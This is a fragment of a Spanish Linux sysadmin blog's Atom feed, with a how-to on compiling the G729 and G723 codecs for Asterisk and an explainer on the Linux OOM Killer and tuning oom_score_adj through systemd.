text;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{159}&quot; paraid=&quot;1163698586&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Saludos.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/9101231679447275208/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2022/10/calculo-asterisk.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/9101231679447275208'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/9101231679447275208'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2022/10/calculo-asterisk.html' title='Cómo hacer un cálculo genérico de cuanto puede consumir Asterisk en Linux'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_SOVtSPyb_p1hnL2Oi45G69AD2I3XGCXSqfCWgqJUm51g4plEos5oeu7zaUlU4EguYoc2M22uCfclwG2NbZyRk-hp-yi25AHSuBxNgW5xEEPeI-gczNk5NnysGu4_nkBaLrnvWMhMQtQuRWSoMjd7KgU4GIv4cnhMP2ik35of-fGt-slD1w6_yj8KVA/s72-w320-h155-c/asterisk_calc_portada.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-155827125606163124</id><published>2021-05-24T22:16:00.001+02:00</published><updated>2021-05-24T22:16:25.361+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Asterisk"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Como implantar gratis el códec G729 en Asterisk</title><content type='html'>&lt;p style=&quot;text-align: justify;&quot;&gt;Los códecs de audio utilizados en Asterisk, generalmente son de uso abierto y sin licencia; siendo el códec &lt;b&gt;G711 &lt;/b&gt;(allaw o ullaw) los más populares... Por desgracia, a veces nos podemos encontrar con impedimentos para implementar dichos códecs, viéndonos obligados a utilizar el códec &lt;b&gt;G729&lt;/b&gt;, el cual es de pago... La cuestión está que es recomendable hacer pruebas de laboratorio antes de implementarlo, de ahí que sea recomendable montarnos un entorno gratuito en nuestro laboratorio a modo de testing... Es importante resaltar que el códec oficial siempre va a funcionar mejor, pero en entornos de desarrollo o de pruebas, la implementación de este códec es extremadamente interesante.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHtV5HSk52fg9hftCBRqaFzqV1yDsYqcS8dUkzwvUKDEAa0iNSAAykVNplTYMEH1jAAsxtOTo1MYk11uv0WkVUv-Sw4PRZ8fl2m_DGzrEHSh9ijxsXVzhIYgdB99T5pu43e-PYXxzu2V2j/s496/g279.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;G729_portada&quot; border=&quot;0&quot; data-original-height=&quot;190&quot; data-original-width=&quot;496&quot; height=&quot;123&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHtV5HSk52fg9hftCBRqaFzqV1yDsYqcS8dUkzwvUKDEAa0iNSAAykVNplTYMEH1jAAsxtOTo1MYk11uv0WkVUv-Sw4PRZ8fl2m_DGzrEHSh9ijxsXVzhIYgdB99T5pu43e-PYXxzu2V2j/w320-h123/g279.png&quot; title=&quot;G729_portada&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Este post es una pequeña guía está pensada para que uno pueda implementar el códec G729 con versiones de Asterisk 1.8 o superiores; los requisitos para instalarlo serían similares en todas las versiones pero con la diferencia de que la preparación del códec difiere en cada versión y habría que descargar el fichero adecuado para cada versión.&amp;nbsp; La web desde donde se descargan los ficheros sería la siguiente:&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://asterisk.hosting.lv/&quot;&gt;http://asterisk.hosting.lv/&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;A modo de recomendación, lo ideal sería descargar el fichero&amp;nbsp;&lt;b&gt;asterisk-g72x-1.4.3.tar.bz2&lt;/b&gt;&amp;nbsp;y compilarlo.&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Para poder compilar los códecs &lt;b&gt;G729 &lt;/b&gt;y &lt;b&gt;G723 &lt;/b&gt;(ambos van incluidos en esta solución), lo primero de todo sería necesario instalar ciertas dependencias en Linux desde los repositorios oficiales de Linux vía APT; estas serían &lt;b&gt;libtool,autoconf,zip&lt;/b&gt; y &lt;b&gt;unzip&lt;/b&gt;, con lo que haríamos:&lt;/p&gt;
&lt;div style=&quot;background: rgb(32, 32, 32); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;apt-get install libtool,autoconf,zip,unzip&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Con las dependencias descargadas e instaladas, el primer paso sería instalar las librerías IPP de Intel, las cuales son necesarias para poder seguir adelante, aún sin tener una arquitectura de Intel. Dichas dependencias son fácilmente descargables desde la propia web oficial de Intel, descargando, siempre que sea posible, la versión más reciente posible.&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://software.intel.com/en-us/articles/intel-ipp-legacy-libraries&quot;&gt;https://software.intel.com/en-us/articles/intel-ipp-legacy-libraries&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Con todo lo necesario descargado e instalado, ubicaríamos todos los ficheros descargados en &lt;b&gt;/usr/src &lt;/b&gt;y ejecutaríamos los comandos:&lt;/p&gt;
&lt;div style=&quot;background: rgb(32, 32, 32); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;tar -xf ipp90legacy_lin_9.0.0.008.tar&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;tar -xjf asterisk-g72x-1.4.3.tar.bz2&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Accedemos al directorio descomprimido de &lt;b&gt;ipp90&lt;/b&gt;… y allí hacemos:&lt;/p&gt;
&lt;div style=&quot;background: rgb(32, 32, 32); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;unzip linux.zip&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;El proceso de descompresión pedirá una contraseña,&amp;nbsp; la cual sería: &lt;b&gt;accept&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Esto creará, tras un rato, una carpeta llamada &lt;b&gt;linux&lt;/b&gt;, la cual habrá que mover a una ruta que inicialmente seguramente no exista con lo que lo que deberemos introducir dos comandos; uno para crear la ruta, y otra para mover la carpeta creada:&lt;/p&gt;
&lt;div style=&quot;background: rgb(32, 32, 32); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;mkdir -p /opt/intel/ipp/&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;mv linux /opt/intel/ipp/legacy&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Ahora accederíamos al directorio &lt;b&gt;/opt/Intel/ipp/legacy/lib&lt;/b&gt; y dentro de este directorio descargaremos y descomprimiremos más librerías necesarias, librerías que serían necesarias para que los paquetes de Intel funcionen:&lt;/p&gt;
&lt;div style=&quot;background: rgb(32, 32, 32); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;cd opt/Intel/ipp/legacy/lib&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;wget http://asterisk.hosting.lv/bin/icc-static-libs.tar.bz2&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;tar -xjf icc-static-libs.tar.bz2&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Ahora que por fin tenemos las librerías preparadas,&amp;nbsp; accederíamos al directorio descomprimido de los códecs de Asterisk que hemos descomprimido antes:&lt;/p&gt;
&lt;div style=&quot;background: rgb(32, 32, 32); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;cd /usr/src/asterisk-g72x-1.4.3/&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Antes de preparar el códec haremos un enlace simbólico al directorio &lt;b&gt;legacy&lt;/b&gt;, llamando a dicho enlace &lt;b&gt;ipp&lt;/b&gt;:&lt;/p&gt;
&lt;div style=&quot;background: rgb(32, 32, 32); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;ln -s opt/intel/ipp/legacy/ ipp&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Finalmente ejecutamos el script &lt;b&gt;autogen.sh&lt;/b&gt;, al cual habría que darle antes permisos de ejecución. Dicho script generará los deseados códecs:&lt;/p&gt;
&lt;div style=&quot;background: rgb(32, 32, 32); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;chmod +x autogen.sh&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;./autogen.sh&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Ahora podemos utilizar el códec G729 sin ningún problema; en cambio, para el códec &lt;b&gt;G723&lt;/b&gt; (en caso de querer usarlo) habría que acceder a &lt;b&gt;/etc/asterisk/códecs.conf&lt;/b&gt; y añadir estas líneas:&lt;/p&gt;
&lt;div style=&quot;background: rgb(255, 255, 255); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;[g723]
; 6.3Kbps stream, default
sendrate=63
; 5.3Kbps
;sendrate=53&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Gracias a esto, ya tendríamos los códecs listos. Para verificar que los códecs han sido añadidos correctamente habría que acceder a &lt;b&gt;Asterisk&lt;/b&gt;, recargar la configuración global y ejecutar el comando comando &lt;b&gt;core show translations&lt;/b&gt;:&lt;/p&gt;
&lt;div style=&quot;background: rgb(32, 32, 32); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;asterisk -rvvvvvvvv&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;reload&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;core show translation recalc 10&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx3Sd2KlmF6aiRkpgsiJxMpye8_vCrGOorjoBa7WKVgfL7ZxFQb1UIAwS2SoQhMvXOnqfaGHhqp9BJLqE3-qtX6T3H3vougr2CsCHI2QjSOvzO6qOD8GL3J6EzeEkalkhdv8UD6RNFWcA_/s565/g729.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;lista_codecs_asterisk&quot; border=&quot;0&quot; data-original-height=&quot;205&quot; data-original-width=&quot;565&quot; height=&quot;116&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx3Sd2KlmF6aiRkpgsiJxMpye8_vCrGOorjoBa7WKVgfL7ZxFQb1UIAwS2SoQhMvXOnqfaGHhqp9BJLqE3-qtX6T3H3vougr2CsCHI2QjSOvzO6qOD8GL3J6EzeEkalkhdv8UD6RNFWcA_/w320-h116/g729.png&quot; title=&quot;lista_codecs_asterisk&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Como detalle, mencionar que en la lista veremos veremos guiones en todas las referencias a al códec G729; eso es debido a que éste no soporta transcoding (conversión de un códec a otro).&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Por último, quedaría asegurarnos de que, tras este largo proceso, se va a utilizar el códec que queremos en &lt;b&gt;/etc/asterisk/sip.conf&lt;/b&gt;; concretamente el códec debe de aparecer en el listado de códecs de &lt;b&gt;allow&lt;/b&gt;; algo del estilo como el de a continuación:&lt;span style=&quot;background-color: white; font-family: monospace; white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;background: rgb(255, 255, 255); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: monospace; white-space: pre;&quot;&gt;allow=g729&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;background-color: white; font-family: monospace; white-space: pre;&quot;&gt;disallow=all&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Cabe recalcar, tal y como se ha dicho al principio, que siempre es recomendable optar por el códec oficial y que esta solución es útil en entornos que no sean de producción, como puede ser en laboratorios o en entornos de pruebas, o en entornos de aprendizaje.&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Espero que os haya resultado útil; sí que es cierto que el proceso es tedioso, pero es muy útil para poder ahorrarnos el coste de la licencia asociada a dicho códec.&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Saludos.&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/155827125606163124/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2021/05/codec-G729-gratis-asterisk.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/155827125606163124'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/155827125606163124'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2021/05/codec-G729-gratis-asterisk.html' title='Como implantar gratis el códec G729 en Asterisk'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHtV5HSk52fg9hftCBRqaFzqV1yDsYqcS8dUkzwvUKDEAa0iNSAAykVNplTYMEH1jAAsxtOTo1MYk11uv0WkVUv-Sw4PRZ8fl2m_DGzrEHSh9ijxsXVzhIYgdB99T5pu43e-PYXxzu2V2j/s72-w320-h123-c/g279.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-7038906538346179038</id><published>2021-05-11T19:15:00.000+02:00</published><updated>2021-05-11T19:15:11.039+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bash"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Kernel"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="RAM"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL"/><title type='text'>Linux OOM (Out Of Memory) Killer: Qué es y qué importancia tiene</title><content type='html'>&lt;p style=&quot;text-align: justify;&quot;&gt;Pongámonos en la situación teórica de que tenemos un equipo con OS basado en Linux (independientemente de la distribución) con una alta carga de memoria RAM y múltiples servicios en marcha. De repente, el equipo tiene que realizar tareas que le suponen un mayor esfuerzo en términos de memoria y esto hace que al poco tiempo tengamos errores, tales como aplicaciones que misteriosamente se han cerrado solas, o errores más graves; como, por ejemplo, que una base de datos, haya entrado en modo “recovery mode”. ¿Por qué ha ocurrido esto?&amp;nbsp; Este fenómeno proviene del concepto &lt;b&gt;OOM Killer&lt;/b&gt;.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmXB5SISgj_pOclRzllM2nM67m576OmvYmLxIybuIk0qb1IvHAGmatz2_E_f8T0hI21oaJMBKpYOtRSCEMstKULwdScTKC78sVN80CsJkdrSpwYtKUUxngcj4WiVuSIWlLaVAkJyuKskM/s857/OOM+Killer.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Omm_Killer_portada&quot; border=&quot;0&quot; data-original-height=&quot;261&quot; data-original-width=&quot;857&quot; height=&quot;121&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmXB5SISgj_pOclRzllM2nM67m576OmvYmLxIybuIk0qb1IvHAGmatz2_E_f8T0hI21oaJMBKpYOtRSCEMstKULwdScTKC78sVN80CsJkdrSpwYtKUUxngcj4WiVuSIWlLaVAkJyuKskM/w400-h121/OOM+Killer.png&quot; title=&quot;Omm_Killer_portada&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;OOM Killer, se trata de un mecanismo que posee el &lt;a href=&quot;https://bytelearning.blogspot.com/2016/02/como-configurar-parametros-del-kernel.html&quot;&gt;kernel &lt;/a&gt;para liberar memoria RAM de forma abrupta para evitar el colapso del sistema; es decir que se trata de un mecanismo usado para evitar situaciones críticas, el cual, generalmente, previene de forma adecuada cualquier tipo de saturación del sistema y evita el bloqueo total del equipo/servidor. Desgraciadamente, en equipos con altas cargas de trabajo que poseen algunos servicios críticos (como puede ser &lt;a href=&quot;https://bytelearning.blogspot.com/2016/02/postgresql-una-alternativa-mysql-en.html&quot;&gt;PostgreSQL&lt;/a&gt;, MySQL o Apache), este mecanismo puede resultar fatal… Para entenderlo, primero hay que saber cómo funciona este mecanismo; o mejor dicho, qué prioridades tiene éste.&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Las prioridades de OOM por defecto serían:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Mantener un mínimo de memoria RAM libre para que el Kernel pueda funcionar correctamente&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Elimina el mínimo número de procesos posibles&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Priorizar procesos que consuman mucha memoria&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;No eliminar procesos que consuman poca memoria&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;Mediante múltiples algoritmos internos dictaminar qué servicio con mucha memoria eliminar en caso de tener varios para elegir.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Además de esto, OOM revisa el &lt;b&gt;oom_score&lt;/b&gt; (puntuación OOM), que revisa si el proceso tiene una mayor o menor prioridad para ser eliminado. Por defecto la mayoría de los procesos tienen una puntuación de 0, es decir que son servicios que ni tienen la prioridad de ser eliminados, ni tampoco tienen ninguna “protección” que les impida ser eliminados.&amp;nbsp; Dicha puntuación se puede ajustar asignarle un valor que puede oscilar entre -1000 y 1000, siendo -1000 el valor que haría que un proceso, jamás se eliminase, y 1000 el valor que haría que dicho proceso fuese eliminado el primero.&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Para revisar la puntuación por defecto de un proceso concreto habría que realizar el comando:&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;cat /proc/numero_proceso/oom_score&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Ejemplo:&lt;/p&gt;

&lt;pre style=&quot;background: rgb(0, 0, 0); color: #d1d1d1;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;cat &lt;span style=&quot;color: #FFFFF;&quot;&gt;/proc/1032/oom_score&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;color: #008c00;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;0&lt;/div&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;p style=&quot;text-align: justify;&quot;&gt;Si deseásemos ajustar la puntuación de dicho proceso, habría que modificar el fichero /&lt;b&gt;proc/numero_proceso/oom_score_adj&lt;/b&gt;, asignándole un valor entre -1000 y 1000, según conveniencia nuestra…&amp;nbsp;&lt;/p&gt;&lt;pre style=&quot;background: rgb(0, 0, 0); color: #d1d1d1;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;echo -100 &amp;gt; &lt;span style=&quot;color: #FFFFF;&quot;&gt;/proc/1032/oom_score_adj&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;El problema que tiene este método es que es un método de ajuste “en vivo”, es decir que si bien ajustaría la puntuación del proceso, solamente sería valido mientras el proceso estuviese activo; si dicho proceso se parase/reiniciase por cualquier motivo, la puntuación volvería a ser la misma que se tenía originalmente…&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Afortunadamente, puede modificar de forma permanente, accediendo servicio de arranque del proceso deseado…&amp;nbsp; Presuponiendo que estemos usando un sistema basado en &lt;a href=&quot;https://bytelearning.blogspot.com/2015/04/systemd-el-init-del-presente-en-el.html&quot;&gt;Systemd&lt;/a&gt;, simplemente habría que ir a la ruta &lt;b&gt;/etc/systemd/system/&lt;/b&gt; o a &lt;b&gt;/run/systemd/generator.late/ &lt;/b&gt;(dependiendo del servicio) y editar el servicio que deseemos modificar.&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: justify;&quot;&gt;Dentro del fichero que estemos editando, habrá diferentes secciones, entre las cuales se encontrará la sección “service”; dentro de dicha sección habría que añadir la línea &lt;b&gt;OOMScoreAdjust= Valor_deseado&lt;/b&gt;. Pongamos como ejemplo el servicio apache2.service&lt;/p&gt;&lt;div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Antes:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background: rgb(255, 255, 255); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;[Service]&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Type=forking&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Restart=no&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;TimeoutSec=5min&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;IgnoreSIGPIPE=no&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;KillMode=process&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;GuessMainPID=no&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;RemainAfterExit=yes&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;ExecStart=/etc/init.d/apache2 start&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;ExecStop=/etc/init.d/apache2 stop&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;ExecReload=/etc/init.d/apache2 reload&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Despues:&lt;/b&gt;&lt;/div&gt;&lt;/b&gt;
&lt;div style=&quot;background: rgb(255, 255, 255); border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;[Service]&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;OOMScoreAdjust=-100&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Type=forking&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Restart=no&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;TimeoutSec=5min&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;IgnoreSIGPIPE=no&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;KillMode=process&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;GuessMainPID=no&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;RemainAfterExit=yes&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;ExecStart=/etc/init.d/apache2 start&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;ExecStop=/etc/init.d/apache2 stop&lt;/div&gt;&lt;div style=&quot;text-align: 